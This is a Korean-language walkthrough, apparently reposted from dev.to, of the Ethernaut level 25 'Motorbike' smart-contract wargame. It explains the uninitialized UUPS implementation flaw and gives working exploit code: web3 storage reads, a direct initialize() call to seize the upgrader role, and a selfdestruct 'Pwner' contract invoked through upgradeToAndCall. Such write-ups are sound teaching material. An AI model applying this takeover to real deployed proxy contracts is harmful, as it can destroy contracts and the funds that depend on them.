Ethernaut: 25. 오토바이
20598 단어 ethereumopenzeppelinsecuritysolidity
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
여기에 또 다른 프록시 기반 퍼즐이 있습니다. 이번에는 EIP-1967이 사용된 것을 볼 수 있는데, 이는 스토리지 충돌에 대해 안전하다는 것을 의미합니다. 보다 구체적으로 EIP-1967은 프록시가 사용하는 표준 스토리지 슬롯을 정의합니다. 이 표준에 따라 논리 계약은
bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
에 저장되며 코드에서도 볼 수 있습니다.Motorbike 컨트랙트를 살펴보면 엔진 컨트랙트의 논리를 가진 프록시에 불과하다는 것을 알 수 있습니다. 엔진 계약은 Initializable입니다. 그러나 여기에 물음표가 있습니다.
initializer
는 프록시에서 호출되므로 영향을 받는 저장소는 엔진이 아니라 오토바이의 저장소입니다! 결과적으로 Motorbike는 스토리지에 초기화 결과가 있어야 하지만 Engine은 그렇지 않아야 합니다.Initializable
계약에는 2개의 저장 변수가 있으며 둘 다 1바이트 부울입니다. 엔진 계약에는 20바이트 주소와 32바이트 부호 없는 정수라는 두 가지 변수가 있습니다. EVM 최적화에 따라 2개의 부울과 1개의 주소가 모두 동일한 슬롯을 차지합니다. 따라서 주소와 두 개의 부울 값이 0번째 위치에 나란히 표시되어야 합니다.// Proxy storage
await web3.eth.getStorageAt(contract.address, 0)
// '0x0000000000000000000058ab506795ec0d3bfae4448122afa4cde51cfdd20001'
// Engine address
const _IMPLEMENTATION_SLOT = '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc'
const engineAddress = await web3.eth.getStorageAt(
contract.address,
web3.utils.hexToNumberString(_IMPLEMENTATION_SLOT)
)
await web3.eth.getStorageAt(engineAddress, 0)
// '0x0000000000000000000000000000000000000000000000000000000000000000'
실제로 이니셜라이저가 실수로 프록시 스토리지에 기록했습니다! 엔진 계약은 그것이 초기화되었다는 것을 모르기 때문에 여기에서 초기화 함수를 호출할 수 있습니다.
await web3.eth.sendTransaction({
from: player,
to: engine,
data: '0x8129fc1c' // initialize()
})
Engine의 저장소를 다시 확인하면 업데이트된 것을 볼 수 있습니다. 우리는 이제
upgrader
이고 우리 자신의 새로운 계약으로 updateToAndCall
함수를 호출하고 data
를 제공하여 selfdestruct
를 만들 수 있습니다.다음과 같은 작은 계약을 작성할 수 있습니다.
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
contract Pwner {
function pwn() public {
selfdestruct(address(0));
}
}
목표는 이것을 오토바이의 엔진으로 만드는 것이므로 프록시를 호출할 것입니다. 함수 서명에는 일치하는 항목이 없기 때문에 엔진에 위임되고 새 구현이
Pwner
계약이 됩니다. 그 후 pwn()
가 호출되고 새 구현은 selfdestruct
가 됩니다.const _function = {
"inputs": [
{
"name": "newImplementation",
"type": "address"
},
{
"name": "data",
"type": "bytes"
}
],
"name": "upgradeToAndCall",
"type": "function"
};
const _parameters = [
'0xad3359eAbEec598f7eBEDdb14BC056ca57fa32B1', // Pwner
'0xdd365b8b', // pwn()
];
const _calldata = web3.eth.abi.encodeFunctionCall(_function, _parameters);
await web3.eth.sendTransaction({
from: player,
to: engineAddress, // not Motorbike!
data: _calldata
})
엔진 자체도 프록시와 같기 때문에 이 트랜잭션을 오토바이 대신 엔진으로 보냅니다.
_upgradeToAndCall
내부 함수에서 delegatecall
를 newImplementation
로 만듭니다.여기서
selfdestruct
내의 newImplementation
가 달성하는 것은 Pwner 계약이 아니라 호출 엔진을 실제로 파괴한다는 것입니다! 이것은 다시 adelegatecall
를 사용하기 때문입니다. 블록 익스플로러로 엔진 컨트랙트 주소를 확인하면 실제로 그렇게 되었음을 알 수 있습니다selfdestruct
.
Reference
이 문제에 관하여(Ethernaut: 25. 오토바이), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/erhant/ethernaut-25-motorbike-25b4텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)